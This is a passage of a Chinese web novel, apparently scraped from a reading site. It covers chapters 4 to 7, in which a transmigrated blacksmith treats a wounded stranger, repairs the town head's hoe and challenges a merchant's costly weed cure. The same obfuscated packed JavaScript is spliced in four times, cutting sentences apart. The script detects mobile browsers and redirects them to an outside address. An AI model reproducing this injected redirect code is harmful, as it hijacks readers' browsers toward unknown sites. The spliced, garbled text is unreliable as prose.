柳依依飞速把小瓶子抽出来,打开一看,一股苦中带辛的中药味扑面而来,淡黄色的粉末还剩了不少。 柳依依又从厨房里拿了剩下的烧酒,用来帮男人伤口消毒,这才开始帮他重新处理伤口。 由于出血,旧绷带已经黏在了男人的伤口上,柳依依只好拿出干净的棉花,用温开水打湿,敷在旧绷带上,让黏上伤口的绷带慢慢“化开”。 把脏绷带完全取下来后,柳依依开始迅速帮男人擦去伤口四周的血污,她不敢直接往伤口上倒酒精,那样会带来剧烈的痛苦,男人要是在昏迷中挣扎起来,他那么大力气,自己不见得按得住。 于是柳依依就把烧酒倒在了棉布上,慢慢蜻蜓点水般蘸洗伤口。等到消毒完毕、烧酒稍干后,柳依依拿起金疮药的小瓶,慢慢均匀地把药粉撒在了伤口的每一处。 到这里,最麻烦的部分已经度过了。 随后柳依依在伤口上又盖了一层被烧酒润过的宽绷带。男人太重,她帮男人缠得每一圈绷带都感觉自己在搬山。 好不容易才把男人包扎好,今晚出了这么多事,此刻已经到寅时了。 当柳依依彻底从忙碌中闲下来后,只觉得胃部火辣辣的难受,这才后知后觉,自己煮的晚饭还没来得及吃。 厨房里的那锅粥已经彻底凉了。 柳依依没有再加热,随便扒拉吃完一碗后,见男人伤得有些重,她不敢回自己的房间休息,只好靠在男人房间的椅子上,勉强睡了一会儿。 柳依依一觉睡到了大中午。 不得不说,咸鱼每天自然醒的感觉太美妙了,不过今日还有要事忙,柳依依随意糊弄完午饭就来到铁匠铺,拿起镇长的锄头仔细端详起来。 家里的铁匠铺是室内的,通过管道把废烟排到室外。这样也好,柳依依干活的时候可不想被路人围观。 镇长的锄头上有个大缺口,加上常年磨损,锄身磨损严重,锄刃也有点卷口外翻,看上去像一颗被磕碎的门牙。 伸手晃了晃,柳依依发现锄身和木柄的连接处也松动得厉害,这样的锄头砸在田里松松垮垮的,劲都使不上,更别说正常使用了。 换做别的铁匠,可能会说不如新做一个。但这锄头跟了镇长多年,有了感情舍不得也是人之常情。 柳依依将扫把草塞进炉灶里,点燃了锻造炉。 修一个锄头而已,对她来说小菜一碟。 首先,修补锄头需要原料。 想到这里,柳依依从旁边的竹篮里拿出一块分量合适的铁矿石。她家铺子里备的矿石是很常见的赤铁矿,红褐色的表面摸上去有些粗糙,指尖摸过后还会留下暗红色的痕迹。 这枚矿石的品质普通,不过在技术匮乏的古代算是很不错的了,修复锄头完全够了。 柳依依把矿石放在铁砧上,拿起铁锤后仔细端详着矿石。 天然矿石往往自带纹理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498664|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和裂缝,她力气小,从这些部位开始敲打容易得多,并且需要避开尖锐的棱角,以免破片飞溅伤到人。 选好位置后,柳依依又在矿石下面垫了一张旧毛巾,方便自己待会儿收集细碎的矿石颗粒。 做完所有准备工作后,柳依依拿起铁锤,狠狠地抡下去。 “啪!”这枚铁矿石质地松散,略微呈现砂状,立刻碎成了几瓣。 柳依依再接再厉,花了点时间,尽可能把铁矿石砸成了细小的碎块后,连着旧毛巾把它们单独放进了旁边的坩埚里。 柳依依戴好手套,把坩埚用火钳送进了熔炼炉里。 此时熔炼炉下的火焰已经烧了起来,柳依依等到火焰趋于稳定后,又往里面塞了足量的松木做燃料。 柳依依走到锻造炉不远处的木箱子边。这就是古代的风箱,她之前已经检查过,里面安装了活塞板,算是一种双作用活塞式风箱。 活塞板连接着长长的推拉杆,柳依依双手握住推拉杆,鼓足了劲开始推拉。一推一拉,柳依依重复着这个动作,风箱立刻发出了“咕哒咕哒”的声音,这表明风箱下的出风口已经正常地把压缩后的空气送往炉膛了。 柳依依的双目时刻盯着炉火。此刻的炉膛里呈现出明亮的黄橙色,火苗直冲冲地往上窜,火舌一边上卷,一边带着清白透亮的烟气,这代表炉内温度在一千度左右了,火候足够了。 满头大汗的柳依依停止鼓风,要是温度再高的话,矿石容易过度软化堵塞通风口,到时候就麻烦了。 柳依依控制着风箱,让锻造炉内始终保持着恒定的温度,过了一会儿后,才站在远处用钳子打开锻造炉。 熟练地避开滚烫的热风后,她用钳子把坩埚取了出来,只见里面原本的矿石碎块已经变成了疏松多孔的铁块。炉内合适的温度会让铁矿石慢慢软化,但又不足以液化成为铁水,矿石就会在炉内软化成这个模样,形似海绵,故而被铁匠们叫做“海绵铁”。 “海绵铁”还不能直接用作修补原料,它只能算生铁,这样做出来的工具,虽说坚硬但非常脆,必须处理成韧性高的熟铁才不易折断。 为便于在滚烫状态下加工,柳依依没有休息,而是用工具将“海绵铁”慢慢放在了铁砧之上。 额头流下的大量汗珠浸到了眼角,在高温的烘烤下带来酸涩的刺痛感,柳依依眯了眯眼,用手臂随意抹了抹,便拿起铁锤开始对海绵铁反复敲打。 无论哪一步,锻造都是个吃体力的耐心活。 柳依依不知疲惫地敲打着,铁砧上的海绵铁像是毛巾一样被敲打得拧成一团,那些缝隙和孔洞里的杂质会在敲打中被一点点挤出来,锤击的力量还会使细小的铁颗粒在高温中互相扩散,焊合在一起,能极大地提升成品的致密性。 用现代的话来说,生铁变熟铁原理其实很简单,就是控制铁料里的碳含量而已,含碳量达到了合适的范围,就是熟铁了。 “呼……”柳依依扭了扭发酸的脖子,看着铁砧上那块灰暗的熟铁,自豪地上扬嘴角。回归老本行,有种和熟悉的朋友并肩作战的爽快感。 “你在锻造?”就在这时,她身后传来了熟悉的低沉男声。 5. 第 5 章 柳依依微微回眸。 不知何时,男人已经醒了,此刻站在门口正目不转睛地望着自己铁砧上的成品。 也不知道他在那里站了多久。 “生活所需。”柳依依淡淡地说,她握着铁锤晃了晃,指向厨房,“锅里还剩了些米粥,想来还是温热的,你若是不嫌弃,可以吃些。” 这个叫叶七的男人倒是壮实,走起路来完全看不出一点虚弱的样子,腹部的伤口仿佛不存在似的。 “你腹部的伤才包扎好,切记不可乱动。”说完这句话,柳依依就把注意力集中在了面前的铁砧上,继续敲打起来。 “小伤,无妨。”叶七对她点点头,平静地说:“我看过不少铁匠锻造……你的技艺倒是比他们还要娴熟,就是身形纤细娇弱了些,看上去……可不像个经常打铁的人。” 柳依依敲铁的动作微顿。 这男人倒是心思敏锐,原主的确从来没有碰过家里的铺子,此刻已经换了芯子了。 好在她早就想好了说辞:“家父、家母就是铁匠,前段日子刚过世,我只好接手铺子为生,之前向他们学过,但是操练得少了些。” 叶七不置可否,只是面无表情地看着柳依依的双手,柳依依也摸不准他信了没有。 柳依依敲打铁锤,铁砧上的铁料已经被锻打成了长条形。 “已经足够了。”叶七缓步来到铁砧面前,指了指铁块,悠悠说:“再敲下去,过犹不及。制成的铁具会变脆,使用时容易崩口甚至断裂。” 听到这里,全神贯注打铁的柳依依忍不住了,抬眼瞥了叶七一眼。 这狗男人没想到懂得还挺多。 没错,对海绵铁的过度捶打会让碳含量过低,这样的原料也同样不适合制作铁器。 但柳依依这么做自然有她的道理。作为非遗锻造大师,她当然有特殊的独门绝技。 她把锤下的铁条折叠起来,然后从旁边的铁桶里舀了一勺硼砂,又舀了一些碳粉,将它们搅拌混合在一起,再均匀地撒在了需要锻合的折叠缝隙处。 随后柳依依把铁块又放回了坩埚里,再次塞进熔炼炉中,继续高温加热。 一旁的叶七微微蹙眉,似乎不知道柳依依这么做是为什么,他来到那两个装着材料的小桶面前,仔细观察后说:“这是……硼砂?木炭粉?你为何要撒上它们后再次入炉?” 柳依依望着炉里的坩埚,硼砂在高温作用下开始融化成液态,它在铁料上缓缓流动,慢慢渗透到了折叠缝隙的每一个角落。 “硼砂是优秀的焊剂,等会儿再次捶打时,铁料会更容易焊接在一起,这样铁料不容易分层或者夹灰。” “至于木炭粉……是为了借助高温,提前补充二次敲打时过量流失的成分,不能多也不能少。” 叶七恍然大悟,看向柳依依的目光多了几分探究。“这方法我倒是从来没有听说过,你就这么告诉我?不怕我学了去?” “你要是真能学会,那便学去吧。”柳依依摇头,对此毫不在意。 自己的拿手绝活怎么可能轻易就能被别人学会? 什么样的硼砂和木炭粉才能用来二次锻造?一块标准分量的铁块,需要多少硼砂和碳粉才最合适?锻造炉里需要多少温度,粉末才能最完美地融合在铁料里? 这些都是有要求的,失之一毫,错之千里。 又等了一会儿,柳依依再次打开熔炼炉,把铁料夹了出来,继续捶打着。 末了,柳依依用力砸得铁料“砰砰”响,用锤子确定着质感是否合格:“你这三日有何打算?什么时候把解药给我?” 叶七摇摇头:“那药丸是清热消暑的,其实并无毒性。” 柳依依:“……” 她嘴角抽搐了一下。 叶七握拳行礼,继续解释道:“在下被人暗害,故而醒来后草木皆兵,不敢轻易相信于柳姑娘,于是便用了此法,还望姑娘海涵。” 柳依依深呼吸一口气,把敲制好的铁料放在一边,拿起镇长的破锄头,开始用铁料进行修复。“所以,叶公子是睡了一夜醒来,就突然信任我了?” 叶七没有直接回答这个问题,而是直接说:“在下想和柳姑娘做笔交易。” “交易?”柳依依正像看望远镜一样举起锄头的木柄观察着,听到男人这么说,忍不住放下来反问道:“你是想走之前从我这里买些铁器一并带走?” “并非。叶七伤势尚未痊愈,想留下来,还望姑娘能收留在下些日子,直到痊愈。”叶七指了指面前的熔炉和铁砧道。 “当然,在下不会坐吃白饭,这身体有些力气,愿意帮姑娘打个下手,叶七不求月钱,只求姑娘给口吃的、给个住处便好。” 不要月钱?只包吃住就能有个力气大的下手? 这男人的力气可不是用“有些”二字就能形容的。柳依依把他捡回来的时候,他昏迷时抓住柳依依的手腕的那一刻,柳依依疼得差点昏过去,现在她的手腕处都留下了一点紫手印。 柳依依难以置信:真的假的?莫不是诓她的吧? 再说了,自己救他的时候,他那身做工复杂的黑色外衣看上去就像富贵人家的,有哪个贵人愿意来自己这么偏僻的铁匠铺打杂工,还不要月钱? 见柳依依面色犹豫,叶七小声道:“柳姑娘,实不相瞒。在下本是一户小富人家的次子,生母不喜我,偏心大哥。等家父过世,大哥继承家业后,她便把在下赶了出来。叶七只好入了军,还在军营的铁匠铺打过杂。故而练得了几分力气。” “前些日子,在下与同袍们解甲归田,不料独行时竟遇到劫匪,叶七被他们所伤,幸得姑娘救命之恩。但叶七已无家可归,恳请姑娘收留几日,等叶七伤势好转,便自行离去不再打扰姑娘。” 叶七说完这些话后,竟然回到了房间里,他怀里抱着那身黑色的衣裳,从里面摸出一锭沉甸甸的银子,放在了柳依依面前的小桌上。 “这是在下从军时攒下的军饷,交给姑娘,就当在这儿住一段时间的食宿钱。另外,这黑衣是叶七被赶出家门时穿走的衣裳,虽然破了洞,但想来也值些铜板,姑娘可一并收下,去当铺换些钱财。” 原来是这样…… 男人刚刚说的话,解答了柳依依对叶七的所有疑惑。 柳依依估摸着男人应该没说谎,再者他的确也有些可怜。难怪他之前看到自己时带着敌意,想来也是,叶七死里逃生后,睁眼就是自己,难免把她也当成劫匪的一员。 柳依依看了一眼男人拿出的那锭银子,摇摇头道:“这银子和衣服是你自己的东西,收回去吧。你若是想留下来也可以……我要试用七日,这七日里我让你做什么,你就做什么。我满意了,再决定你是否留下来吧,不过,这七日里你的吃宿,倒是可以由铺子里包下。” “不过是些俗物,没什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498665|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜的。”叶七见柳依依没有收下,倒也没有强求。不过他也没有把银子拿回去,就这么任它躺在那张小桌上。“那就麻烦柳姑娘了。” “让我来吧。”叶七走上前来,想接过柳依依手中的铁锤,帮她捶打。 “别!”柳依依拿着锤子做了个“停”的手势,她真不敢让叶七干这个。 敲铁需要用力做大动作,男人的伤才刚包扎好,这种力气活绝对会牵扯到伤口,要是再出血可就麻烦了。 “你先去吃饭。”她指了指厨房说:“那里还有清粥,你带着伤不宜食用辛辣刺激的食物。吃完饭就老老实实回那张床上躺着,免得伤口又裂开了。” “好。”男人倒是听话,乖乖去厨房了。 柳依依这才把精力完全收回到打铁上来。 由于缺口是弧形的,在柳依依的反复敲打之下,那块熟铁被锻成了比锄头缺口稍大,形状相似的弧形薄片。 现在它已经完全可以用于修补了。 柳依依仔细将镇长的锄头从木柄上取了下来,把它清理干净,尤其是上面附带的泥土与铁锈,然后她将缺口朝上,把锄头放在了铁砧上。 随后她把那块弧形的铁块贴在缺口上,用铁锤敲了几下,铁块就卡在了缺口里。 但是由于目押不太准确,柳依依总觉得补块比缺口稍微小了一点,卡得不太严实,她熟练地抽出一根铁丝,待铁块冷却后,临时在上面捆了一圈来加固。 接下来就是入锻造炉修复了。 这需要比之前制造海绵铁时更高的温度,必须接近铁的熔点。 柳依依又往锻造炉下添了大量柴火,然后来到风箱面前,用推拉杆把风箱鼓到最急。 很快,熔炉中的金属变成了亮黄带白的颜色,证明火候温度到了最合适的区域。 不能在炉内放太久,否则铁器会失去原有的形状。 等锄头在里面待了足够的时间后,柳依依又熟练地开炉,把它们夹出来,在锄头的表面再次撒上一撮硼砂。硼砂接触到高温,迅速融化,它们这次溶解了金属表面的氧化物,让新鲜的铁能直接互相接触。 时间紧迫,柳依依必须在十几秒内完成第一波捶打,否则铁器的温度降到暗红色以下,就会定型,焊接不上了,到时候又要重新入炉借助高温重新软化。 柳依依手起锤落,从中心到四周,从横向到纵向,密集的捶打如同暴雨般倾泻在锄面上。每一锤都力度适中,轻了会没有效果,太重可能会导致补块位置偏移。 第一次捶打完成,锄头看上去已经完美地合为一体,看不出缺口了。但柳依依清楚,补块和锄头可能只是表面合在了一起,内部可能还有夹灰。 她反复加热锻打,足足重复了三回才彻底放心下来。 柳依依拿出一块磨刀石,等锄头彻底冷却后用磨刀石开刃,把它磨得锃亮,折射出银色的微光,然后重新把木棍敲进锄头里,用铁楔牢牢固定住。 做完这一切后,她的后背已经彻底被汗水打湿了。 “畅快!”她兴奋地从箩筐里拿出一大块铁矿石,然后摆在地上。 柳依依双手握住锄头的木柄,使出最后的力气向矿石锄去。 “砰!”伴随着一声脆响,铁矿石应声而碎。 柳依依弯下腰,仔细检查了锄头,依旧完好如初,补块没有脱落,锄刃没有裂纹,刃口更没有卷缺。 成了! 6. 第 6 章 镇长已经被老婆在家里骂了整整一天了。 “你钱多得慌是不是?啊?那可是六十铜板!够我们一家子好几口人足足六天的饭钱啊!你说打水漂就打水漂啊!”镇长的老婆在地上气得直跳,恨不得原地打滚撒泼,好逼镇长去把铜板要回来。 “造孽啊!我每天在家里精打细算,想着怎么过好日子!你这老不死的就这么败家!我是不是要被逼死了,你才肯回头啊。” 镇长坐在自家门口的门槛上,眉头皱得能夹死一只苍蝇,嘴里夹着一根旱烟,挠了挠头,回头宽慰道:“好啦好啦,不就是六十铜板吗,依依说自己能修锄头,我这不就干脆找她修了嘛。你看,隔壁镇的铁匠铺那么远,路费……” 他话还没说完,就差点被老婆子丢出来的鸡毛掸子砸到头,还好躲得快。 “不就是六十铜板?死老头子!你说得轻松!她一个十来岁的女娃娃哪能会什么打铁!没把锻造炉烧炸了就算好的啦!你不管钱,哪知道柴米油盐的精贵呀……行善之前,你也要看看自己家里是什么状况呀!哎哟——这日子怎么过呀!”屋里传来女人歇斯底里的痛哭和哀嚎。 镇长无奈地往泥地里抖了抖烟灰,因为他自己心里也有点发怵。 他不得不承认,自己媳妇说的很有道理。 自己虽然身居镇长之位,但向来不屑以权谋私,往年别人送来的礼,自己从来没有收过,全都原封不动地退回去了。 媳妇没少在家里骂他,说自己没出息不会做人,嫁给他从来没享到一天清福,窝窝囊囊的,不就是几锭银子吗? 因此,镇长家里其实也并不算富裕,虽然衣食住行无忧,但日子总过得紧巴巴的,一枚铜板都要扳成两半花。 但或许是出于对柳依依的同情,镇长昨日才给了六十铜板让她帮忙修一下锄头。 至于锄头,柳依依年纪尚小,她只观摩父母打铁能学到几层?实在修不好也算了。那姑娘日子也不好过,把钱要回来是不可能的,他干不出来这种不要脸面的事。 镇长叹了口气,看了一眼右手握着的旱烟,咬牙决定少抽几个月的烟,这笔钱不就算是省回来了? 媳妇背着背篓出门了,一路骂骂咧咧的,出门前路过镇长身旁,还不忘甩了个大大的白眼。 镇长苦笑了一声,他在门口抽完烟,就去自家田里了。 他家田里前段日子开始长杂草了,今天一看,杂草更旺了,密密麻麻地簇拥在半块地里。 也不怪媳妇今天对自己动这么大的气,因为自己家田里长的不是一般的杂草,它叫荆茅。 提到这个名字,所有农户都会闻风丧胆。 这种杂草能把根系深深扎进土壤里,根在地下蔓延很远且互相纠缠,导致极难拔除。它繁衍速度极快,必须花大量人力用锄头把根系全部砍断翻出,一点都不能留下,否则来日又会卷土重来。 至于火烧,完全没用,这杂草出了名的生命力顽强,只要它根系还在土里,很快就能再长出来。 更要命的是,荆茅不怕冬天,它在雪地里也能活,只是不再生长了,等到开春,冬雪初融,就会不知疲倦地抽芽狂长。 等到那时候,自家的田就彻底废了。 因为作物生长是要肥的,这肥都被荆茅草抢跑了,这片地未来好几年都长不出东西了。 如果,一位农民赖以生存的土地种不出东西了…… 想到这里,镇长在田埂上站不下去了,他急冲冲地冲到田里,撸起袖子,双手抓住荆茅的茎叶就往外拔。 镇长手臂上青筋暴露,用力扯了半天,根茎突然被拽断了,断裂的却只是茎秆,荆茅的根系依然完好无损,在惯性的作用下,镇长重重地向地上摔去,腰砸到田埂的石头上。 但他像是感受不到疼一样,红着眼,伸出哆嗦的双手,不顾一切地去刨土,抓住荆茅的根系用力往外扯。 “啪”细微的断裂声传来。 那截根系在镇长满是泥泞的手心里断开,更多的根系却像海底的冰山,依旧深埋土中。 “别费力气了……镇长,来年再开一片荒地吧。这荆茅啊,如果没有第一时间发现清理掉,就直接废掉整片田了……” 此时一名镇上的农户路过,好心劝说道:“你还是运气好的嘞,起码作物成熟收获后,荆茅才长上来,隔壁村里有一户人家,整片田的花生马上要熟了,全部死田里嘞,大半年的投入全部白干。” 镇长没有回答,坐在田里,仿佛没有听见般徒劳地继续撕扯着这些荆茅。 那名路过的农夫见状,摇摇头走了。 其实这人说的话,镇长也不是没想到过,甚至今天和媳妇还商量了一回。 开荒耗费时间精力不谈,镇子附近肥沃的土地就那么多,早就被大家分完了,没有肥沃的地,庄稼压根就产不出多少粮食来,要改造土地,还要格外去自己花心思打肥,又是一笔不小的开支。 况且如果这该死的荆茅又长到新田里来了呢?难道又要换一回耕地吗?再过几年,这山里恐怕满是它的身影,别说种田了,连落脚都吃力。 镇长颓废地瘫坐在泥地里,只觉得两眼发酸,有一下没一下地用还算干净的手腕抹着眼角。 “镇长!”突然,一道悠长又熟悉的吆喝声在他背后响起。 镇长听到呼唤声后,连忙耸了耸鼻子,飞速用袖子把脸上抹干净,勉强挤出一点笑容。 他回头一看,只见柳依依双手握成喇叭状,背上扛着自家的锄头,站在山头高喊着他的名字。 “镇长!锄头已经帮您修好了,您瞧瞧?” 柳依依踩着田埂上细碎的矮草,小跑过来,把锄头递给老人。 镇长接过后第一时间就去看锄头的锄刃,崭新如初,完全看不出破损的痕迹,光滑锋利的金属在阳光下闪着淡银色的光,他伸出指头弹了弹,指甲碰到金属后发出了清脆的微响。 “总算修好了!谢谢你,依依!”镇长扯了扯嘴角,点点头,在心里嘟囔着:应该是修好了吧?看着倒是没什么大问题,希望能正常用吧。 柳依依见镇长面上呈现愁苦之相,于是把目光移向田里长得正旺盛的杂草,立刻明白了对方在愁什么。 “这是……荆茅?” “是……满田都是荆茅……”镇长接过锄头,笑得相当苦涩,他又想从兜里拿出烟斗往里面塞烟草,但最后还是收了回去。 “前些日子就开始长了,我原本还在庆幸发现的早,能及时清除掉。哎哟……结果越来越多,越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498666|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,我清理的速度完全赶不上它生长的速度。” “每天一起来,就能看到地里冒出灰绿的一簇,我无论怎么翻,地里残留的根系都没有清理干净,结果就成你现在看的样子了。就连隔壁村也遭殃了……比我更惨,颗粒无收啊。” 古代铸造技术落后,没有合适的工具,农夫的锄头锋利度太差,根本对付不了这种著名的田间大害。 但柳依依不一样,她的锻造工艺是经过现代科技改良的,别说荆茅的根茎,就连石头都能砸出个口子来。 就在这时,镇长的媳妇带着乌泱泱一群人过来了。 “哎,刘行长这边请!我们镇的田都在这边了!我家老头子就在那,我带您去!”老婆子前倨后恭地说。 为首的那位男人正把双手背在后背,他眉心微拧,听到老婆子的声音后,眼中极快地闪过一丝不耐烦。 “哦?是这片田吧?我看到了,还真是长了不少啊……我来看看。”这名叫刘行长的男人下到田里,抬手掀起茂密杂乱的叶片,有模有样地观察起来,随后板着个脸说:“啧……有点棘手啊。” 老婆子看到柳依依后,面色沉了沉,似乎想说什么,镇长连忙用手肘碰了碰她,然后微微摇头,这才阻止了她。 “这几位是……”镇长小声询问自家媳妇。 她媳妇连忙凑到镇长耳边小声说:“这位是绝牙城刘氏商行的刘行长,他带着商队恰好路过咱们镇子,我也是才听说,他们商队里有治理荆茅的法子,一路上帮不少农户处理掉了草害,这才去求他们来看看的!” “这么多处理起来可是很麻烦的……”刘行长看了好一会儿,眼珠子转溜了几下,道:“太多了,这整片田下恐怕全是它的根系,就连田垄下都扎得铺天盖地,必须尽快处理,否则很有可能继续蔓延,连其他人家的田都不能幸免。” 老两口听到这里面色惨白。 “我们商行已经帮了数百家农户。”刘行长指着自己留宿的方向,眯着眼笑着补充道:“我还会在依云镇停留数日时间来采购木耳。你们可以尽快和镇子里的农户商量,一起来找我。” “不过,机不可失,时不再来,我们不会停留太久。” “刘行长,那……请问价钱……”老婆子弯腰点头,笑着说。 刘行长笑着伸出手,竖起中指和食指比划着:“不贵,每亩地十两银子就行。” 柳依依倒吸一口凉气。 虽然柳依依家里没有地,不用掺和这件事,但她也被这个价格给震惊到了。 “十两?!”老婆子也被吓得不轻,把浑浊的双眼瞪得老大。 “对,十两。”刘行长舔了舔嘴唇,甩了甩袖子,笑着说:“如果觉得贵也没关系。但是,这块地再这么下去,明年开春就彻底种不了东西了,其他农田说不定也会受牵连。至于银子,省省不就出来了,怎会掏不出来?你们镇子的人自己权衡利弊吧。” “老头子……”镇长的媳妇脸上一片苍白,对镇长忧心忡忡地说:“要是最肥沃农地都长满这荆茅了,咱可怎么办哦?要不咱问问镇子里的人,不够钱的变卖点家产,一起把钱交了吧?” “这……”镇长愁眉苦脸地纠结着。 “等等!”柳依依突然打断道。 7. 第 7 章 在场所有人都望向柳依依。 镇长诧异地看了她一眼。柳依依看上去其貌不扬,个子不高,穿着朴素,甚至袖口还沾了圈泥,但她的眼睛却亮得吓人,炯炯有神,整个人带着雨后春笋般的韧劲。 “柳依依,你一个小丫头片子,大人正说话呢,莫要捣乱!”老婆子没好气地说。她本就对柳依依有些不满,此时肚子里正憋着火呢。 “依依……”镇长尴尬地摸了摸鼻子,轻声说:“你还小,可千万别瞎掺和,你家是没有农地的,此事不必操心。刘行长要的银子虽然多了些,但咱们大人会想办法。” 柳依依摇摇头说:“我只是有几个问题,想问问刘行长。” “哦?”刘行长微微挑眉,毫不在意地反问:“什么问题?姑娘请讲。” “刘行长,您刚刚说,您的商行有办法处理荆茅?敢问是何方法?”柳依依不卑不亢地问道。 “当然是我们刘氏商行独门秘制的药水。”刘行长背着手回答道:“我们会把药水喷在地里,等它发挥药效后,便从刘氏商行遣几十个汉子,就可以轻松用锄头把田里的根系一寸寸全挖出来。” 柳依依继续问:“这药水何时生效?是否需要农户们格外购买?是否会对农田留下不可挽回的损害?对人有毒吗?” 刘行长面色变得微妙了几分,他重新打量了柳依依几眼,似乎组织了一下语言,这才回答道:“小姑娘你倒是机灵。这药水能慢慢脆化掉荆茅的根系,每日清晨都要大量喷洒在农田的每一个角落,一天也少不了。放心吧,只要付清了钱,药水不会格外收大家银子的。至于损害……” “做生意嘛,讲究的就是诚信。”刘行长摩挲着拇指上的玉戒指。 “药水的确有点缺陷。等荆茅被清理后,农地还要再闲置一个月。这期间,每天要往田里灌水帮助排出残余的药水,人当然也不能让药水进入体内,毕竟是药三分毒。” 听到刘行长这么说,镇长有点动心了,他觉得药水的代价可以接受。 比起荆茅带来的危害,这点代价完全承受得起。往田里灌水也很好解决,镇子里就有条现成的河,方便得很。只是这银子,着实太贵了。 柳依依恍然大悟:“您的法子,是用药水把杂草的根系浸得酥软,直到能被农具斩断的程度。” “不错。”刘行长点头。 “那太麻烦了。喷一个月药水,然后除根,农田还要再空置、灌水一个月……”柳依依不赞同地摇头,她指了指脚下的土壤,道:“还有……十两银子,太贵。” 听到柳依依这么说,刘行长倒也不生气:“这荆茅有多厉害,恐怕小姑娘家家有所不知,就连户部的农田司也束手无策。实话告诉姑娘,我们这次是去户部向青天老爷们献策的,途中帮助农户们处理荆茅只是顺带而已。” “我们的法子虽然慢了点,却已经是天下唯一可以彻底根治的法子了。并且药水制作复杂,故而这价格真不算贵,姑娘要是不喜欢,自己去想个别的法子就是了,何苦来我这里辩论个是非呢?” “我当然有法子。”柳依依笃定地说。 “你?”镇长夫妇异口同声,表情古怪。 刘行长大笑一声:“小姑娘,可莫要误以为清理荆茅是个简单的差事,你年纪还小,有时候轻狂些也可以理解,但切莫哗众取宠,惹人笑话,徒惹一身是非。” 柳依依没有回答,只是来到镇长身边,伸出手来:“镇长,我刚刚修好的锄头,容依依再借用一下。” 镇长心里虽然充满疑问,但见柳依依这么自信,也没再说什么,把那柄锄头交给她。 柳依依转身跳下田埂,走进那片密密麻麻的荆茅丛中。草茎已经长到她腰那么高,灰绿色的叶片在风中沙沙作响。 “你这是做甚?丫头别添乱!那底下全是刺,绊倒了又要在脸上撕一个大口!”镇长媳妇有点急了,虽然她不喜欢这丫头,但也不能眼看着人家孩子往荆棘地里钻,要是出事了又是个麻烦。 柳依依没有回答,她深呼吸一口气,高高把锄头举过头顶,然后对着地表露出的荆茅根茎狠狠砸了下去。 “咔嚓!”所有人都听到了清脆的断裂声。 刘行长好奇地凑了过来。 柳依依又挥舞了几下,把锄头插进地里,然后以膝盖为支点往外使劲一挑,一大团黝黑的根系就被轻松挑了出来,飞落到田埂上。粗的部分壮如手腕,细的部分小如发丝,杂乱地缠绕成篮球大的一团。 “这……不可能!”刘行长瞪大眼睛,嘴里能塞下一个鸡蛋,连忙小跑来到田间,捡起那团乱根。只见这团根茎的截断面光滑无比,应该是被什么极其锋利的器具一次性斩断的。 “我的天……”刘行长难以置信地望着柳依依手中的锄头。 荆茅的根茎有多坚韧,他可再清楚不过了,寻常的锄头砍上去,要么直接滑开,要么只能留下一道浅浅的印痕,他们商行用的是那种特制的铲刀,那也得搭配药水去软化根茎,还要让牛高马大的大汉劈砍好几次才能将其砍断。 结果现在一个手无缚鸡之力的小姑娘,拿锄头就轻松劈断了? 刘行长不可思议地抬手指了指柳依依,目瞪口呆道:“你……你这锄头……这……” “好用吧?”柳依依见自己目的达成,轻笑着说:“刘行长,我是这依云镇的铁匠,我姓柳,名叫柳依依,这锄头就是我亲手铸造的。” 铁匠? 一个如此偏僻小镇里的铁匠,竟然打造出了轻松砍断荆茅根系的锄头? 刘行长表情相当微妙,半晌竟然说不出一个字来。 “依依,让我也来试试……”镇长很快从震惊中回过神来,他看着满田的荆茅,用手往身上抹了抹,擦掉手心的汗。 镇长决定亲自上阵试一下,他从柳依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498667|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依手中拿过锄头,弯下腰,把锄头对着田里最茂盛的那片荆茅的根部砸去。 茂密的杂草遮挡了众人的视线,众人只看到镇长的脸上突然浮现浓烈的狂喜和激动,他不顾形象地弯腰伸手去抓,然后往外一甩。 只见一个更大的根团带着新鲜的泥土飞到了众人面前。 镇长嘴角都快扯到耳根子了,他痴痴地望着自家的田,笑着笑着眼眶就泛红了。 